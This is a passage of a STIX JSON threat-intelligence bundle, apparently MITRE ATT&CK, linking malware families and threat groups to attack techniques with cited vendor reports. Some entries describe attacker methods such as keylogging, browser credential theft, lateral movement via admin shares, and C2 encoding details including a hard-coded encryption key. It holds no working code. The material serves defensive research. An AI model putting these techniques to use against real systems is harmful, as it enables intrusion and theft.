                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-20T21:24:11.246Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses a keylogger.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-17T16:11:44.308Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--072af62a-85d5-4803-aa05-d7c6efa9ec2a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) collects general system enumeration data about the infected machine and checks the OS version.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-19T19:52:53.302Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains functionality to collect information from the clipboard.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.720Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--35ec37ba-44aa-49b1-9379-3f6070554c62",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RARSTONE](https://attack.mitre.org/software/S0055) obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.(Citation: Camba RARSTONE)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Camba RARSTONE",
                    "description": "Camba, A. (2013, February 27). BKDR_RARSTONE: New RAT to Watch Out For. Retrieved January 8, 2016.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/"
                }
            ],
            "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T19:06:33.145Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cb68541e-3ca7-4e2d-892d-c30b50107b39",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MirageFox](https://attack.mitre.org/software/S0280) can gather the username from the victim\u2019s machine.(Citation: APT15 Intezer June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "APT15 Intezer June 2018",
                    "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.",
                    "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/"
                }
            ],
            "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-20T01:59:01.647Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--79cebb53-3154-4512-9343-2942b1f72ff5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) queries Registry values as part of its anti-sandbox checks.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.463Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7b5178ce-a9bc-405e-b062-22b4276fbf99",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) was likely obfuscated using Invoke-Obfuscation.(Citation: Unit 42 QUADAGENT July 2018)(Citation: GitHub Invoke-Obfuscation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                },
                {
                    "source_name": "GitHub Invoke-Obfuscation",
                    "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.",
                    "url": "https://github.com/danielbohannon/Invoke-Obfuscation"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T02:18:35.431Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9fde631f-9e22-40fe-b6bb-071bd689c8f9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can record sound using input audio devices.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-07-16T15:07:27.491Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--352953e9-c1ca-4d25-84b6-eb05a012b2e9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) steals credentials stored in Web browsers by querying the sqlite database.(Citation: Talos Group123)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-20T00:16:34.976Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is capable of downloading a file from a specified URL.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.315Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--02642f69-af18-42ba-a07e-ea44d3a311ea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Vasport](https://attack.mitre.org/software/S0207) creates a backdoor by making a connection using a HTTP POST.(Citation: Symantec Vasport May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Vasport May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"
                }
            ],
            "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:47:10.950Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--23df6015-0167-481c-84aa-3d15d3e38a85",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Data [SPACESHIP](https://attack.mitre.org/software/S0035) copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T03:05:20.914Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--23c6c48b-f602-43f9-9c23-d4e46fba9194",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070)'s version of [Bandook](https://attack.mitre.org/software/S0234) communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string \u201c&&&\u201d.(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:51:35.118Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZLib](https://attack.mitre.org/software/S0086) creates Registry keys to allow itself to run as various services.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-30T02:44:26.634Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used HTTP for C2.(Citation: Unit 42 Magic Hound Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:49:09.609Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4ce0f95f-577c-4a02-a355-328cf376ceba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
            "type": "relationship",
            "modified": "2020-03-14T23:25:21.072Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--d297b77f-9511-429a-b148-d7b8f0b5b502",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs.(Citation: Symantec Tick Apr 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-17T23:46:10.823Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--64eefbfb-5241-4325-919d-4739504644c2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some versions of [UPPERCUT](https://attack.mitre.org/software/S0275) have used the hard-coded string \u201cthis is the encrypt key\u201d for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address.(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:35:57.124Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d07f2da6-6497-414f-96c1-9dd60155b169",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers shares on the network(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2020-03-18T20:19:35.787Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--0da51973-98f8-4a5e-8217-da19f7bc64b6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847",
            "type": "relationship",
            "modified": "2020-03-02T19:30:53.636Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--147e009d-48db-40bc-999c-70aa1e770a0c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of listing contents of folders on the victim. [Remsec](https://attack.mitre.org/software/S0125) also searches for custom network encryption software on victims.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.754Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--96797ece-5783-4d34-a399-32496c8705ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement.(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.630Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XTunnel](https://attack.mitre.org/software/S0117) relays traffic between a C2 server and a victim.(Citation: Crowdstrike DNC June 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                }
            ],
            "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2019-04-19T18:36:31.999Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--77fbad9a-3a73-4ddb-8d10-60147eb64a81",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) runs the <code>net view</code> command",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.098Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--419392f5-e6a8-4eee-b7c2-f0bac5cce833",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can download additional files.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.549Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ada55a0e-2f38-4da1-9ebd-8dd2f2461dfc",
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            "description": "[RGDoor](https://attack.mitre.org/software/S0258) executes the <code>whoami</code> on the victim\u2019s machine.(Citation: Unit 42 RGDoor Jan 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 RGDoor Jan 2018",
                    "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
                }
            ],
            "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T02:29:16.138Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0b9a4cdc-8305-49ec-879f-6cfa35763af2",
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            "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to log keystrokes from the victim\u2019s machine, both offline and online.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques",
                    "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.",
                    "source_name": "jRAT Symantec Aug 2018"
                },
                {
                    "source_name": "Kaspersky Adwind Feb 2016",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf",
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."
                }
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:01:17.809Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More",
                    "source_name": "Talos Zeus Panda Nov 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) decrypts strings in the code during the execution process.(Citation: Talos Zeus Panda Nov 2017)",
            "id": "relationship--e6aed3c5-9f4a-4178-b03b-5805b2f61c81",
